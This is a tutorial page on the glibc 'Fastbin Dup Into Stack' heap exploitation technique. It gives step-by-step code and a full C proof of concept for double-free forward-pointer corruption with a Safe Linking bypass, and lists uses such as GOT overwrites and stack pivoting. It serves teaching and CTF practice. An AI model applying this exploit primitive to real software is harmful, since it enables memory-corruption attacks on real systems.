Skip to main content

Overview

Fastbin Dup Into Stack extends the basic fastbin double-free attack to achieve arbitrary memory allocation. By corrupting the forward pointer in a freed fastbin chunk, we can trick malloc() into returning a pointer to nearly any memory location - including the stack, data segments, or other controlled regions.
Glibc Version Compatibility: Latest (tested on glibc 2.23 - 2.41)Requires a heap address leak on glibc >= 2.32 due to Safe Linking.

What This Achieves

  • Arbitrary allocation: Get malloc() to return a pointer to attacker-controlled address
  • Stack control: Allocate memory on the stack for code execution primitives
  • Memory corruption: Write to arbitrary locations through malloc’d pointers
  • CTF primitive: Core technique for many heap exploitation challenges

Prerequisites

  • Ability to perform a double-free (see Fastbin Dup)
  • Write-after-free: Ability to corrupt freed chunk contents
  • Heap leak (glibc >= 2.32): Required for Safe Linking bypass
  • Target address: Knowledge of where you want to allocate (e.g., stack address)
  • Fake chunk size: Target address must have valid size field

The Technique

Key Insight

Once we have a double-free, we control a chunk that’s still in the freelist. By writing to this chunk, we can corrupt the forward pointer that determines the next allocation target. This allows us to inject an arbitrary address into the freelist.

Step-by-Step Walkthrough

1

Fill the tcache

On modern glibc, fill the tcache first to force chunks into fastbins.
void *ptrs[7];
for (int i=0; i<7; i++) {
    ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
    free(ptrs[i]);
}
2

Prepare target address

Set up the target location with a fake chunk size. The size must pass basic checks.
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
stack_var[1] = 0x20;  // Fake size field
The target address should point to where the size field would be in a real chunk.
3

Create double-free

Perform the standard fastbin dup sequence.
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

free(a);  // Fastbin: [a]
free(b);  // Fastbin: [b -> a]
free(a);  // Fastbin: [a -> b -> a]
4

Allocate to get write access

Allocate twice to get back to the duplicated chunk.
unsigned long *d = calloc(1, 8);  // Returns 'a'
calloc(1, 8);                      // Returns 'b'
// Now freelist: [a]
We have a pointer d to chunk ‘a’, which is still in the freelist!
5

Corrupt forward pointer

Overwrite the forward pointer with the target address. On glibc >= 2.32, must use Safe Linking encoding.
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long)d;

// Safe Linking: ptr' = (ptr >> 12) ^ address
*d = (addr >> 12) ^ ptr;
The Safe Linking XOR operation requires knowing both the heap address and target address.
6

Allocate to inject fake chunk

Next allocation removes our corrupted chunk from the freelist and injects the fake address.
calloc(1, 8);  // Puts stack address on freelist
7

Allocate arbitrary address

Final allocation returns our target address!
void *p = calloc(1, 8);  // Returns pointer to stack!
assert(p == (void*)(stack_var + 2));

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    fprintf(stderr,"Fill up tcache first.\n");
    void *ptrs[7];
    for (int i=0; i<7; i++) {
        ptrs[i] = malloc(8);
    }
    for (int i=0; i<7; i++) {
        free(ptrs[i]);
    }

    unsigned long stack_var[4] __attribute__ ((aligned (0x10)));

    fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = calloc(1,8);
    int *b = calloc(1,8);
    int *c = calloc(1,8);

    fprintf(stderr, "1st calloc(1,8): %p\n", a);
    fprintf(stderr, "2nd calloc(1,8): %p\n", b);
    fprintf(stderr, "3rd calloc(1,8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long *d = calloc(1,8);

    fprintf(stderr, "1st calloc(1,8): %p\n", d);
    fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that calloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var[1] = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
    fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
    unsigned long ptr = (unsigned long)stack_var;
    unsigned long addr = (unsigned long) d;
    
    /*VULNERABILITY*/
    *d = (addr >> 12) ^ ptr;
    /*VULNERABILITY*/

    fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

    void *p = calloc(1,8);

    fprintf(stderr, "4th calloc(1,8): %p\n", p);
    assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}

Key Concepts

Starting with glibc 2.32, forward pointers in fastbins and tcache are obfuscated using Safe Linking:
// Encoding: stored_ptr = (ptr >> 12) ^ address_of_chunk
*d = (addr >> 12) ^ ptr;
This means:
  • You need to know the heap address of the corrupted chunk
  • You need to know your target address
  • The XOR operation reverses when malloc processes the pointer
Reference: Safe Linking: Eliminating a 20 year old malloc exploit primitive
For malloc to accept your fake chunk, it must pass several checks:
  1. Size field alignment: Must be at proper offset (usually +8 bytes from returned pointer)
  2. Size value: Must match the fastbin size we’re working with (0x20 for 8-byte allocations)
  3. Alignment: Address should be 16-byte aligned on 64-bit systems
  4. In-use bit: Usually set (lowest bit of size = 1)
The allocator doesn’t verify much else for fastbin allocations, making this technique powerful.
The source code uses calloc() instead of malloc(). This is important because:
  • calloc() zeroes out the allocated memory
  • This can help bypass certain checks or initialize fake chunks
  • In some cases, it’s just for clearer demonstration
The technique works with malloc() as well.

Common Use Cases

  1. Stack pivoting: Allocate on stack to control return addresses
  2. GOT overwrites: Allocate at GOT entries to hijack function pointers
  3. Arbitrary write: Get malloc to return pointer to target, then write via that pointer
  4. Bypass ASLR: When you have partial address leaks

Defense Mechanisms

Mitigations in modern glibc:
  • Safe Linking (>= 2.32): Requires heap leak to bypass
  • Tcache (>= 2.26): Must fill tcache first
  • Size checks: Fake chunks must have valid size fields
  • Alignment checks: Target addresses must be properly aligned
  • Top chunk checks: More strict validation in newer versions
Despite these, the technique still works when prerequisites are met.

CTF Challenges

This technique has been used in numerous CTF challenges:

9447 CTF 2015

search-engine - Classic fastbin corruption challengeWriteup

0CTF 2017

babyheap - Modern heap exploitation with Safe Linking considerationsWriteup
  • Fastbin Dup - The foundation technique
  • [House of Spirit/techniques/house/house-of-spirit) - Alternative approach to arbitrary allocation
  • Tcache Poisoning - Similar technique for tcache

Practice & Resources

Ret2 Wargames

Debug this technique interactively in your browser using GDB

References

Build docs developers (and LLMs) love